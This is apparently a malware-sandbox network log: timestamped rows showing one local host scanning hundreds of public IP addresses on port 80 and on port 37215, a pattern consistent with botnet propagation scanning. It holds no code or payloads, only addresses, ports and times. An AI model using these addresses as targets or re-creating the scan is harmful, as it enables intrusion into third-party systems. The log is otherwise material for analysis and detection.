Dec 3, 2024 22:16:49.485333920 CET	37707	80	192.168.2.23	92.93.144.140
Dec 3, 2024 22:16:49.485331059 CET	37707	80	192.168.2.23	8.234.225.193
Dec 3, 2024 22:16:49.485333920 CET	37707	80	192.168.2.23	139.59.176.198
Dec 3, 2024 22:16:49.485335112 CET	37707	80	192.168.2.23	61.42.165.168
Dec 3, 2024 22:16:49.485331059 CET	37707	80	192.168.2.23	146.137.155.186
Dec 3, 2024 22:16:49.485336065 CET	37707	80	192.168.2.23	49.113.59.47
Dec 3, 2024 22:16:49.485364914 CET	37707	80	192.168.2.23	126.228.80.175
Dec 3, 2024 22:16:49.485336065 CET	37707	80	192.168.2.23	156.250.205.147
Dec 3, 2024 22:16:49.485364914 CET	37707	80	192.168.2.23	211.224.33.238
Dec 3, 2024 22:16:49.485333920 CET	37707	80	192.168.2.23	191.90.50.122
Dec 3, 2024 22:16:49.485368967 CET	37707	80	192.168.2.23	59.204.236.195
Dec 3, 2024 22:16:49.485364914 CET	37707	80	192.168.2.23	145.84.1.63
Dec 3, 2024 22:16:49.485368967 CET	37707	80	192.168.2.23	133.81.204.179
Dec 3, 2024 22:16:49.485337019 CET	37707	80	192.168.2.23	79.29.206.46
Dec 3, 2024 22:16:49.485364914 CET	37707	80	192.168.2.23	71.153.205.49
Dec 3, 2024 22:16:49.485336065 CET	37707	80	192.168.2.23	221.249.189.16
Dec 3, 2024 22:16:49.485373974 CET	37707	80	192.168.2.23	198.217.153.44
Dec 3, 2024 22:16:49.485333920 CET	37707	80	192.168.2.23	27.166.11.73
Dec 3, 2024 22:16:49.485336065 CET	37707	80	192.168.2.23	121.43.213.254
Dec 3, 2024 22:16:49.485373974 CET	37707	80	192.168.2.23	203.223.114.36
Dec 3, 2024 22:16:49.485371113 CET	37707	80	192.168.2.23	142.231.25.138
Dec 3, 2024 22:16:49.485373974 CET	37707	80	192.168.2.23	58.71.64.230
Dec 3, 2024 22:16:49.485371113 CET	37707	80	192.168.2.23	81.230.77.55
Dec 3, 2024 22:16:49.485368967 CET	37707	80	192.168.2.23	43.207.59.18
Dec 3, 2024 22:16:49.485371113 CET	37707	80	192.168.2.23	156.253.216.84
Dec 3, 2024 22:16:49.485368967 CET	37707	80	192.168.2.23	177.213.119.192
Dec 3, 2024 22:16:49.485371113 CET	37707	80	192.168.2.23	118.169.102.126
Dec 3, 2024 22:16:49.485368967 CET	37707	80	192.168.2.23	218.77.142.139
Dec 3, 2024 22:16:49.485371113 CET	37707	80	192.168.2.23	141.143.119.27
Dec 3, 2024 22:16:49.485368967 CET	37707	80	192.168.2.23	201.231.239.163
Dec 3, 2024 22:16:49.485373974 CET	37707	80	192.168.2.23	195.17.135.163
Dec 3, 2024 22:16:49.485373974 CET	37707	80	192.168.2.23	52.218.127.83
Dec 3, 2024 22:16:49.485371113 CET	37707	80	192.168.2.23	152.16.159.128
Dec 3, 2024 22:16:49.485371113 CET	37707	80	192.168.2.23	92.63.18.76
Dec 3, 2024 22:16:49.485383987 CET	37707	80	192.168.2.23	74.2.136.252
Dec 3, 2024 22:16:49.485385895 CET	37707	80	192.168.2.23	129.144.149.120
Dec 3, 2024 22:16:49.485385895 CET	37707	80	192.168.2.23	46.144.117.150
Dec 3, 2024 22:16:49.485385895 CET	37707	80	192.168.2.23	185.103.36.43
Dec 3, 2024 22:16:49.485385895 CET	37707	80	192.168.2.23	165.97.211.250
Dec 3, 2024 22:16:49.485385895 CET	37707	80	192.168.2.23	188.158.142.139
Dec 3, 2024 22:16:49.485385895 CET	37707	80	192.168.2.23	105.111.46.131
Dec 3, 2024 22:16:49.485385895 CET	37707	80	192.168.2.23	68.170.92.57
Dec 3, 2024 22:16:49.485385895 CET	37707	80	192.168.2.23	2.6.168.142
Dec 3, 2024 22:16:49.485388994 CET	37707	80	192.168.2.23	117.101.48.75
Dec 3, 2024 22:16:49.485388994 CET	37707	80	192.168.2.23	17.93.206.171
Dec 3, 2024 22:16:49.485388994 CET	37707	80	192.168.2.23	107.211.108.107
Dec 3, 2024 22:16:49.485388994 CET	37707	80	192.168.2.23	40.187.37.109
Dec 3, 2024 22:16:49.485388994 CET	37707	80	192.168.2.23	23.190.203.48
Dec 3, 2024 22:16:49.485390902 CET	37707	80	192.168.2.23	122.232.156.179
Dec 3, 2024 22:16:49.485388994 CET	37707	80	192.168.2.23	173.73.71.218
Dec 3, 2024 22:16:49.485390902 CET	37707	80	192.168.2.23	1.85.146.172
Dec 3, 2024 22:16:49.485388994 CET	37707	80	192.168.2.23	48.201.175.233
Dec 3, 2024 22:16:49.485390902 CET	37707	80	192.168.2.23	151.173.8.142
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	159.40.223.11
Dec 3, 2024 22:16:49.485388994 CET	37707	80	192.168.2.23	173.238.234.91
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	77.213.74.77
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	165.204.203.47
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	114.143.136.83
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	92.166.172.97
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	13.14.18.38
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	67.148.218.44
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	38.199.145.109
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	203.224.171.79
Dec 3, 2024 22:16:49.485390902 CET	37707	80	192.168.2.23	103.225.249.100
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	34.175.132.49
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	204.69.86.252
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	1.197.145.21
Dec 3, 2024 22:16:49.485405922 CET	37707	80	192.168.2.23	163.196.67.150
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	46.167.95.129
Dec 3, 2024 22:16:49.485405922 CET	37707	80	192.168.2.23	40.193.197.214
Dec 3, 2024 22:16:49.485390902 CET	37707	80	192.168.2.23	189.132.99.201
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	223.187.18.160
Dec 3, 2024 22:16:49.485405922 CET	37707	80	192.168.2.23	105.60.114.161
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	5.191.135.102
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	155.182.123.186
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	142.60.83.92
Dec 3, 2024 22:16:49.485413074 CET	37707	80	192.168.2.23	218.195.95.70
Dec 3, 2024 22:16:49.485394001 CET	37707	80	192.168.2.23	82.20.232.137
Dec 3, 2024 22:16:49.485390902 CET	37707	80	192.168.2.23	121.29.248.35
Dec 3, 2024 22:16:49.485414028 CET	37707	80	192.168.2.23	212.118.155.248
Dec 3, 2024 22:16:49.485405922 CET	37707	80	192.168.2.23	59.88.131.166
Dec 3, 2024 22:16:49.485413074 CET	37707	80	192.168.2.23	92.199.219.62
Dec 3, 2024 22:16:49.485414028 CET	37707	80	192.168.2.23	74.127.89.23
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	97.99.243.131
Dec 3, 2024 22:16:49.485405922 CET	37707	80	192.168.2.23	64.27.1.220
Dec 3, 2024 22:16:49.485425949 CET	37707	80	192.168.2.23	60.90.200.187
Dec 3, 2024 22:16:49.485414028 CET	37707	80	192.168.2.23	18.117.227.200
Dec 3, 2024 22:16:49.485390902 CET	37707	80	192.168.2.23	151.118.213.182
Dec 3, 2024 22:16:49.485394955 CET	37707	80	192.168.2.23	126.242.193.0
Dec 3, 2024 22:16:49.485413074 CET	37707	80	192.168.2.23	8.130.118.150
Dec 3, 2024 22:16:49.485390902 CET	37707	80	192.168.2.23	193.42.221.135
Dec 3, 2024 22:16:49.485430002 CET	37707	80	192.168.2.23	205.212.181.238
Dec 3, 2024 22:16:49.485425949 CET	37707	80	192.168.2.23	99.95.74.162
Dec 3, 2024 22:16:49.485405922 CET	37707	80	192.168.2.23	130.80.252.238
Dec 3, 2024 22:16:49.485425949 CET	37707	80	192.168.2.23	141.64.164.51
Dec 3, 2024 22:16:49.485405922 CET	37707	80	192.168.2.23	45.205.190.59
Dec 3, 2024 22:16:49.485425949 CET	37707	80	192.168.2.23	90.156.130.182
Dec 3, 2024 22:16:49.485434055 CET	37707	80	192.168.2.23	129.207.35.11
Dec 3, 2024 22:16:49.485425949 CET	37707	80	192.168.2.23	145.221.145.190
Dec 3, 2024 22:16:49.485433102 CET	37707	80	192.168.2.23	168.28.37.12
Dec 3, 2024 22:16:49.485425949 CET	37707	80	192.168.2.23	197.239.126.219
Dec 3, 2024 22:16:49.485433102 CET	37707	80	192.168.2.23	84.192.233.21
Dec 3, 2024 22:16:49.485438108 CET	37707	80	192.168.2.23	186.11.158.108
Dec 3, 2024 22:16:49.485433102 CET	37707	80	192.168.2.23	19.72.217.212
Dec 3, 2024 22:16:49.485438108 CET	37707	80	192.168.2.23	98.85.80.11
Dec 3, 2024 22:16:49.485434055 CET	37707	80	192.168.2.23	209.246.188.125
Dec 3, 2024 22:16:49.485438108 CET	37707	80	192.168.2.23	164.165.95.109
Dec 3, 2024 22:16:49.485436916 CET	37707	80	192.168.2.23	216.115.55.232
Dec 3, 2024 22:16:49.485436916 CET	37707	80	192.168.2.23	153.228.46.33
Dec 3, 2024 22:16:49.485436916 CET	37707	80	192.168.2.23	183.163.255.76
Dec 3, 2024 22:16:49.485436916 CET	37707	80	192.168.2.23	217.20.60.132
Dec 3, 2024 22:16:49.485436916 CET	37707	80	192.168.2.23	8.183.79.125
Dec 3, 2024 22:16:49.485444069 CET	37707	80	192.168.2.23	71.166.200.50
Dec 3, 2024 22:16:49.485444069 CET	37707	80	192.168.2.23	17.133.94.34
Dec 3, 2024 22:16:49.485434055 CET	37707	80	192.168.2.23	17.151.121.55
Dec 3, 2024 22:16:49.485444069 CET	37707	80	192.168.2.23	50.179.211.193
Dec 3, 2024 22:16:49.485444069 CET	37707	80	192.168.2.23	220.164.205.65
Dec 3, 2024 22:16:49.485444069 CET	37707	80	192.168.2.23	184.198.71.188
Dec 3, 2024 22:16:49.485444069 CET	37707	80	192.168.2.23	43.24.149.28
Dec 3, 2024 22:16:49.485444069 CET	37707	80	192.168.2.23	156.59.20.204
Dec 3, 2024 22:16:49.485444069 CET	37707	80	192.168.2.23	114.29.0.185
Dec 3, 2024 22:16:49.485446930 CET	37707	80	192.168.2.23	150.71.115.18
Dec 3, 2024 22:16:49.485446930 CET	37707	80	192.168.2.23	205.51.220.215
Dec 3, 2024 22:16:49.485446930 CET	37707	80	192.168.2.23	59.106.112.57
Dec 3, 2024 22:16:49.485449076 CET	37707	80	192.168.2.23	23.121.209.8
Dec 3, 2024 22:16:49.485449076 CET	37707	80	192.168.2.23	168.226.133.86
Dec 3, 2024 22:16:49.485449076 CET	37707	80	192.168.2.23	170.146.208.228
Dec 3, 2024 22:16:49.485450029 CET	37707	80	192.168.2.23	174.70.168.28
Dec 3, 2024 22:16:49.485449076 CET	37707	80	192.168.2.23	125.240.207.25
Dec 3, 2024 22:16:49.485451937 CET	37707	80	192.168.2.23	160.48.228.248
Dec 3, 2024 22:16:49.485455036 CET	37707	80	192.168.2.23	222.153.106.65
Dec 3, 2024 22:16:49.485455036 CET	37707	80	192.168.2.23	2.115.45.137
Dec 3, 2024 22:16:49.485455036 CET	37707	80	192.168.2.23	177.114.102.33
Dec 3, 2024 22:16:49.485455990 CET	37707	80	192.168.2.23	204.123.233.83
Dec 3, 2024 22:16:49.485455036 CET	37707	80	192.168.2.23	137.39.1.128
Dec 3, 2024 22:16:49.485455990 CET	37707	80	192.168.2.23	108.43.177.120
Dec 3, 2024 22:16:49.485455036 CET	37707	80	192.168.2.23	62.99.139.85
Dec 3, 2024 22:16:49.485455990 CET	37707	80	192.168.2.23	1.89.248.5
Dec 3, 2024 22:16:49.485455036 CET	37707	80	192.168.2.23	102.72.195.82
Dec 3, 2024 22:16:49.485455990 CET	37707	80	192.168.2.23	27.122.59.26
Dec 3, 2024 22:16:49.485464096 CET	37707	80	192.168.2.23	92.227.56.82
Dec 3, 2024 22:16:49.485464096 CET	37707	80	192.168.2.23	83.2.46.189
Dec 3, 2024 22:16:49.485466957 CET	37707	80	192.168.2.23	5.3.42.229
Dec 3, 2024 22:16:49.485466957 CET	37707	80	192.168.2.23	119.37.128.21
Dec 3, 2024 22:16:49.485466957 CET	37707	80	192.168.2.23	9.222.28.80
Dec 3, 2024 22:16:49.485467911 CET	37707	80	192.168.2.23	32.153.251.188
Dec 3, 2024 22:16:49.485466957 CET	37707	80	192.168.2.23	161.157.200.237
Dec 3, 2024 22:16:49.485467911 CET	37707	80	192.168.2.23	166.212.107.174
Dec 3, 2024 22:16:49.485466957 CET	37707	80	192.168.2.23	165.6.231.140
Dec 3, 2024 22:16:49.485471010 CET	37707	80	192.168.2.23	124.168.58.69
Dec 3, 2024 22:16:49.485471010 CET	37707	80	192.168.2.23	147.244.22.50
Dec 3, 2024 22:16:49.485471010 CET	37707	80	192.168.2.23	146.191.180.138
Dec 3, 2024 22:16:49.485471010 CET	37707	80	192.168.2.23	45.46.168.102
Dec 3, 2024 22:16:49.485477924 CET	37707	80	192.168.2.23	82.159.202.195
Dec 3, 2024 22:16:49.485477924 CET	37707	80	192.168.2.23	210.227.95.80
Dec 3, 2024 22:16:49.485480070 CET	37707	80	192.168.2.23	62.171.191.227
Dec 3, 2024 22:16:49.485480070 CET	37707	80	192.168.2.23	92.236.89.105
Dec 3, 2024 22:16:49.485481024 CET	37707	80	192.168.2.23	73.107.211.250
Dec 3, 2024 22:16:49.485480070 CET	37707	80	192.168.2.23	99.238.143.69
Dec 3, 2024 22:16:49.485481024 CET	37707	80	192.168.2.23	114.254.36.46
Dec 3, 2024 22:16:49.485483885 CET	37707	80	192.168.2.23	171.149.173.61
Dec 3, 2024 22:16:49.485482931 CET	37707	80	192.168.2.23	202.254.68.152
Dec 3, 2024 22:16:49.485496998 CET	37707	80	192.168.2.23	168.73.113.190
Dec 3, 2024 22:16:49.485496998 CET	37707	80	192.168.2.23	63.188.27.78
Dec 3, 2024 22:16:49.485501051 CET	37707	80	192.168.2.23	148.159.65.37
Dec 3, 2024 22:16:49.485501051 CET	37707	80	192.168.2.23	171.40.44.34
Dec 3, 2024 22:16:49.485501051 CET	37707	80	192.168.2.23	128.173.123.122
Dec 3, 2024 22:16:49.485501051 CET	37707	80	192.168.2.23	97.185.57.215
Dec 3, 2024 22:16:49.485501051 CET	37707	80	192.168.2.23	19.60.209.58
Dec 3, 2024 22:16:49.485506058 CET	37707	80	192.168.2.23	109.156.139.164
Dec 3, 2024 22:16:49.485506058 CET	37707	80	192.168.2.23	51.75.64.28
Dec 3, 2024 22:16:49.485507965 CET	37707	80	192.168.2.23	34.227.173.221
Dec 3, 2024 22:16:49.485507965 CET	37707	80	192.168.2.23	82.11.160.97
Dec 3, 2024 22:16:49.485507965 CET	37707	80	192.168.2.23	122.195.10.137
Dec 3, 2024 22:16:49.485511065 CET	37707	80	192.168.2.23	46.29.54.76
Dec 3, 2024 22:16:49.485511065 CET	37707	80	192.168.2.23	220.25.176.54
Dec 3, 2024 22:16:49.485511065 CET	37707	80	192.168.2.23	84.179.55.162
Dec 3, 2024 22:16:49.485511065 CET	37707	80	192.168.2.23	175.25.126.10
Dec 3, 2024 22:16:49.485523939 CET	37707	80	192.168.2.23	13.12.188.87
Dec 3, 2024 22:16:49.485533953 CET	37707	80	192.168.2.23	74.61.157.37
Dec 3, 2024 22:16:49.485533953 CET	37707	80	192.168.2.23	41.14.37.64
Dec 3, 2024 22:16:49.485538960 CET	37707	80	192.168.2.23	129.167.180.40
Dec 3, 2024 22:16:49.485538960 CET	37707	80	192.168.2.23	49.147.78.84
Dec 3, 2024 22:16:49.485539913 CET	37707	80	192.168.2.23	122.36.250.13
Dec 3, 2024 22:16:49.485538960 CET	37707	80	192.168.2.23	12.159.133.168
Dec 3, 2024 22:16:49.485539913 CET	37707	80	192.168.2.23	118.142.99.183
Dec 3, 2024 22:16:49.485539913 CET	37707	80	192.168.2.23	210.62.166.187
Dec 3, 2024 22:16:49.485542059 CET	37707	80	192.168.2.23	118.133.253.184
Dec 3, 2024 22:16:49.485542059 CET	37707	80	192.168.2.23	130.126.142.93
Dec 3, 2024 22:16:49.485542059 CET	37707	80	192.168.2.23	87.196.165.22
Dec 3, 2024 22:16:49.485542059 CET	37707	80	192.168.2.23	61.95.176.215
Dec 3, 2024 22:16:49.485542059 CET	37707	80	192.168.2.23	149.16.62.106
Dec 3, 2024 22:16:49.485542059 CET	37707	80	192.168.2.23	124.80.132.240
Dec 3, 2024 22:16:49.485542059 CET	37707	80	192.168.2.23	61.106.117.162
Dec 3, 2024 22:16:49.485539913 CET	37707	80	192.168.2.23	219.220.255.175
Dec 3, 2024 22:16:49.485543966 CET	37707	80	192.168.2.23	161.196.4.35
Dec 3, 2024 22:16:49.485539913 CET	37707	80	192.168.2.23	136.241.139.26
Dec 3, 2024 22:16:49.485543966 CET	37707	80	192.168.2.23	130.179.124.215
Dec 3, 2024 22:16:49.485548019 CET	37707	80	192.168.2.23	145.199.108.24
Dec 3, 2024 22:16:49.485548019 CET	37707	80	192.168.2.23	197.129.22.119
Dec 3, 2024 22:16:49.485548019 CET	37707	80	192.168.2.23	131.122.190.142
Dec 3, 2024 22:16:49.485548019 CET	37707	80	192.168.2.23	158.181.116.224
Dec 3, 2024 22:16:49.485548973 CET	37707	80	192.168.2.23	201.154.87.16
Dec 3, 2024 22:16:49.485548019 CET	37707	80	192.168.2.23	49.208.240.6
Dec 3, 2024 22:16:49.485548973 CET	37707	80	192.168.2.23	58.81.212.70
Dec 3, 2024 22:16:49.485548973 CET	37707	80	192.168.2.23	193.161.1.44
Dec 3, 2024 22:16:49.485549927 CET	37707	80	192.168.2.23	194.32.225.129
Dec 3, 2024 22:16:49.485548019 CET	37707	80	192.168.2.23	62.107.229.25
Dec 3, 2024 22:16:49.485548019 CET	37707	80	192.168.2.23	143.58.86.70
Dec 3, 2024 22:16:49.485548019 CET	37707	80	192.168.2.23	77.111.98.126
Dec 3, 2024 22:16:49.485559940 CET	37707	80	192.168.2.23	47.3.251.231
Dec 3, 2024 22:16:49.485563040 CET	37707	80	192.168.2.23	220.57.99.111
Dec 3, 2024 22:16:49.485599041 CET	35534	80	192.168.2.23	44.223.88.222
Dec 3, 2024 22:16:49.485599041 CET	35534	80	192.168.2.23	44.223.88.222
Dec 3, 2024 22:16:49.486044884 CET	35902	80	192.168.2.23	44.223.88.222
Dec 3, 2024 22:16:49.486377001 CET	53878	80	192.168.2.23	219.159.129.91
Dec 3, 2024 22:16:49.486377001 CET	53878	80	192.168.2.23	219.159.129.91
Dec 3, 2024 22:16:49.486620903 CET	54246	80	192.168.2.23	219.159.129.91
Dec 3, 2024 22:16:49.486924887 CET	42740	80	192.168.2.23	126.110.141.44
Dec 3, 2024 22:16:49.486924887 CET	42740	80	192.168.2.23	126.110.141.44
Dec 3, 2024 22:16:49.487184048 CET	43108	80	192.168.2.23	126.110.141.44
Dec 3, 2024 22:16:49.487567902 CET	51992	80	192.168.2.23	44.100.34.190
Dec 3, 2024 22:16:49.487567902 CET	51992	80	192.168.2.23	44.100.34.190
Dec 3, 2024 22:16:49.487812042 CET	52360	80	192.168.2.23	44.100.34.190
Dec 3, 2024 22:16:49.488245010 CET	50606	80	192.168.2.23	106.119.111.49
Dec 3, 2024 22:16:49.488245010 CET	50606	80	192.168.2.23	106.119.111.49
Dec 3, 2024 22:16:49.488563061 CET	50974	80	192.168.2.23	106.119.111.49
Dec 3, 2024 22:16:49.488986015 CET	46196	80	192.168.2.23	59.87.238.43
Dec 3, 2024 22:16:49.488986015 CET	46196	80	192.168.2.23	59.87.238.43
Dec 3, 2024 22:16:49.489219904 CET	46564	80	192.168.2.23	59.87.238.43
Dec 3, 2024 22:16:49.489536047 CET	36024	80	192.168.2.23	161.83.220.85
Dec 3, 2024 22:16:49.489536047 CET	36024	80	192.168.2.23	161.83.220.85
Dec 3, 2024 22:16:49.489768982 CET	36392	80	192.168.2.23	161.83.220.85
Dec 3, 2024 22:16:49.490096092 CET	51966	80	192.168.2.23	115.64.13.91
Dec 3, 2024 22:16:49.490096092 CET	51966	80	192.168.2.23	115.64.13.91
Dec 3, 2024 22:16:49.490335941 CET	52334	80	192.168.2.23	115.64.13.91
Dec 3, 2024 22:16:49.516496897 CET	80	50274	122.157.177.130	192.168.2.23
Dec 3, 2024 22:16:49.516555071 CET	50274	80	192.168.2.23	122.157.177.130
Dec 3, 2024 22:16:49.516793966 CET	50274	80	192.168.2.23	122.157.177.130
Dec 3, 2024 22:16:49.516793966 CET	50274	80	192.168.2.23	122.157.177.130
Dec 3, 2024 22:16:49.517160892 CET	50530	80	192.168.2.23	122.157.177.130
Dec 3, 2024 22:16:49.517529964 CET	80	42718	200.134.217.200	192.168.2.23
Dec 3, 2024 22:16:49.517548084 CET	80	39452	150.32.225.133	192.168.2.23
Dec 3, 2024 22:16:49.517558098 CET	37215	44360	156.101.171.54	192.168.2.23
Dec 3, 2024 22:16:49.517569065 CET	80	59838	8.163.124.143	192.168.2.23
Dec 3, 2024 22:16:49.517606020 CET	44360	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:49.517606020 CET	42718	80	192.168.2.23	200.134.217.200
Dec 3, 2024 22:16:49.517625093 CET	59838	80	192.168.2.23	8.163.124.143
Dec 3, 2024 22:16:49.517630100 CET	39452	80	192.168.2.23	150.32.225.133
Dec 3, 2024 22:16:49.517648935 CET	80	40354	177.102.58.160	192.168.2.23
Dec 3, 2024 22:16:49.517659903 CET	80	45530	1.78.144.178	192.168.2.23
Dec 3, 2024 22:16:49.517668009 CET	80	36100	148.77.50.206	192.168.2.23
Dec 3, 2024 22:16:49.517684937 CET	80	55882	70.48.67.132	192.168.2.23
Dec 3, 2024 22:16:49.517688990 CET	42718	80	192.168.2.23	200.134.217.200
Dec 3, 2024 22:16:49.517688990 CET	37451	37215	192.168.2.23	197.214.61.64
Dec 3, 2024 22:16:49.517688990 CET	42718	80	192.168.2.23	200.134.217.200
Dec 3, 2024 22:16:49.517694950 CET	37451	37215	192.168.2.23	41.97.92.226
Dec 3, 2024 22:16:49.517704010 CET	80	37802	205.37.220.224	192.168.2.23
Dec 3, 2024 22:16:49.517704010 CET	40354	80	192.168.2.23	177.102.58.160
Dec 3, 2024 22:16:49.517704010 CET	36100	80	192.168.2.23	148.77.50.206
Dec 3, 2024 22:16:49.517709970 CET	45530	80	192.168.2.23	1.78.144.178
Dec 3, 2024 22:16:49.517709017 CET	37451	37215	192.168.2.23	41.199.109.211
Dec 3, 2024 22:16:49.517715931 CET	37451	37215	192.168.2.23	156.161.153.51
Dec 3, 2024 22:16:49.517715931 CET	37451	37215	192.168.2.23	156.123.176.131
Dec 3, 2024 22:16:49.517719984 CET	37451	37215	192.168.2.23	156.18.131.6
Dec 3, 2024 22:16:49.517720938 CET	80	53678	13.77.179.192	192.168.2.23
Dec 3, 2024 22:16:49.517724037 CET	37451	37215	192.168.2.23	197.109.35.223
Dec 3, 2024 22:16:49.517725945 CET	55882	80	192.168.2.23	70.48.67.132
Dec 3, 2024 22:16:49.517726898 CET	37451	37215	192.168.2.23	41.163.72.166
Dec 3, 2024 22:16:49.517743111 CET	80	36696	83.228.148.68	192.168.2.23
Dec 3, 2024 22:16:49.517751932 CET	80	42384	95.148.172.170	192.168.2.23
Dec 3, 2024 22:16:49.517752886 CET	37802	80	192.168.2.23	205.37.220.224
Dec 3, 2024 22:16:49.517760992 CET	80	50814	189.63.67.242	192.168.2.23
Dec 3, 2024 22:16:49.517761946 CET	53678	80	192.168.2.23	13.77.179.192
Dec 3, 2024 22:16:49.517761946 CET	37451	37215	192.168.2.23	197.69.47.76
Dec 3, 2024 22:16:49.517761946 CET	37451	37215	192.168.2.23	197.228.250.73
Dec 3, 2024 22:16:49.517761946 CET	37451	37215	192.168.2.23	41.249.3.95
Dec 3, 2024 22:16:49.517761946 CET	37451	37215	192.168.2.23	197.167.125.223
Dec 3, 2024 22:16:49.517774105 CET	36696	80	192.168.2.23	83.228.148.68
Dec 3, 2024 22:16:49.517776012 CET	80	50074	178.167.225.20	192.168.2.23
Dec 3, 2024 22:16:49.517780066 CET	80	54544	137.84.118.55	192.168.2.23
Dec 3, 2024 22:16:49.517785072 CET	37451	37215	192.168.2.23	156.3.36.177
Dec 3, 2024 22:16:49.517788887 CET	80	43316	115.161.242.231	192.168.2.23
Dec 3, 2024 22:16:49.517791986 CET	37451	37215	192.168.2.23	156.125.7.37
Dec 3, 2024 22:16:49.517791986 CET	37451	37215	192.168.2.23	156.117.50.253
Dec 3, 2024 22:16:49.517795086 CET	80	57510	117.255.80.131	192.168.2.23
Dec 3, 2024 22:16:49.517806053 CET	42384	80	192.168.2.23	95.148.172.170
Dec 3, 2024 22:16:49.517806053 CET	50074	80	192.168.2.23	178.167.225.20
Dec 3, 2024 22:16:49.517817974 CET	80	46164	120.53.85.174	192.168.2.23
Dec 3, 2024 22:16:49.517818928 CET	50814	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:49.517818928 CET	54544	80	192.168.2.23	137.84.118.55
Dec 3, 2024 22:16:49.517827988 CET	57510	80	192.168.2.23	117.255.80.131
Dec 3, 2024 22:16:49.517834902 CET	80	55748	50.18.129.224	192.168.2.23
Dec 3, 2024 22:16:49.517834902 CET	43316	80	192.168.2.23	115.161.242.231
Dec 3, 2024 22:16:49.517834902 CET	37451	37215	192.168.2.23	156.79.178.171
Dec 3, 2024 22:16:49.517848015 CET	37451	37215	192.168.2.23	197.27.118.226
Dec 3, 2024 22:16:49.517858028 CET	80	35558	159.216.106.173	192.168.2.23
Dec 3, 2024 22:16:49.517868042 CET	80	51504	120.125.222.84	192.168.2.23
Dec 3, 2024 22:16:49.517893076 CET	80	35752	112.106.103.207	192.168.2.23
Dec 3, 2024 22:16:49.517906904 CET	55748	80	192.168.2.23	50.18.129.224
Dec 3, 2024 22:16:49.517906904 CET	37451	37215	192.168.2.23	197.125.149.217
Dec 3, 2024 22:16:49.517906904 CET	35558	80	192.168.2.23	159.216.106.173
Dec 3, 2024 22:16:49.517911911 CET	46164	80	192.168.2.23	120.53.85.174
Dec 3, 2024 22:16:49.517911911 CET	51504	80	192.168.2.23	120.125.222.84
Dec 3, 2024 22:16:49.517914057 CET	37451	37215	192.168.2.23	197.43.251.184
Dec 3, 2024 22:16:49.517915010 CET	37451	37215	192.168.2.23	156.242.175.253
Dec 3, 2024 22:16:49.517914057 CET	37451	37215	192.168.2.23	41.161.245.25
Dec 3, 2024 22:16:49.517914057 CET	37451	37215	192.168.2.23	197.63.204.33
Dec 3, 2024 22:16:49.517918110 CET	37451	37215	192.168.2.23	41.232.193.104
Dec 3, 2024 22:16:49.517918110 CET	37451	37215	192.168.2.23	41.203.207.171
Dec 3, 2024 22:16:49.517918110 CET	37451	37215	192.168.2.23	197.247.242.165
Dec 3, 2024 22:16:49.517920017 CET	37451	37215	192.168.2.23	156.174.77.88
Dec 3, 2024 22:16:49.517920017 CET	37451	37215	192.168.2.23	156.69.123.12
Dec 3, 2024 22:16:49.517920017 CET	37451	37215	192.168.2.23	156.57.129.73
Dec 3, 2024 22:16:49.517926931 CET	37451	37215	192.168.2.23	197.27.67.138
Dec 3, 2024 22:16:49.517926931 CET	37451	37215	192.168.2.23	41.210.20.165
Dec 3, 2024 22:16:49.517934084 CET	35752	80	192.168.2.23	112.106.103.207
Dec 3, 2024 22:16:49.517935038 CET	37451	37215	192.168.2.23	156.190.202.85
Dec 3, 2024 22:16:49.517941952 CET	37451	37215	192.168.2.23	197.199.240.172
Dec 3, 2024 22:16:49.517941952 CET	37451	37215	192.168.2.23	156.97.91.49
Dec 3, 2024 22:16:49.517941952 CET	37451	37215	192.168.2.23	156.89.49.177
Dec 3, 2024 22:16:49.517941952 CET	37451	37215	192.168.2.23	197.172.175.36
Dec 3, 2024 22:16:49.517941952 CET	37451	37215	192.168.2.23	41.229.15.155
Dec 3, 2024 22:16:49.517941952 CET	37451	37215	192.168.2.23	41.157.119.215
Dec 3, 2024 22:16:49.517949104 CET	37451	37215	192.168.2.23	156.20.242.207
Dec 3, 2024 22:16:49.517954111 CET	37451	37215	192.168.2.23	197.200.221.13
Dec 3, 2024 22:16:49.517957926 CET	37451	37215	192.168.2.23	197.87.146.241
Dec 3, 2024 22:16:49.517961979 CET	37451	37215	192.168.2.23	197.193.231.18
Dec 3, 2024 22:16:49.517976999 CET	37451	37215	192.168.2.23	197.184.241.8
Dec 3, 2024 22:16:49.517977953 CET	37451	37215	192.168.2.23	197.7.65.19
Dec 3, 2024 22:16:49.517977953 CET	37451	37215	192.168.2.23	156.190.10.48
Dec 3, 2024 22:16:49.517980099 CET	37451	37215	192.168.2.23	197.188.53.119
Dec 3, 2024 22:16:49.517980099 CET	37451	37215	192.168.2.23	197.3.30.123
Dec 3, 2024 22:16:49.517980099 CET	37451	37215	192.168.2.23	41.102.19.175
Dec 3, 2024 22:16:49.517980099 CET	37451	37215	192.168.2.23	41.87.170.62
Dec 3, 2024 22:16:49.517987967 CET	37451	37215	192.168.2.23	197.49.238.31
Dec 3, 2024 22:16:49.517997980 CET	37451	37215	192.168.2.23	156.157.223.36
Dec 3, 2024 22:16:49.518007994 CET	42972	80	192.168.2.23	200.134.217.200
Dec 3, 2024 22:16:49.518008947 CET	37451	37215	192.168.2.23	41.217.93.41
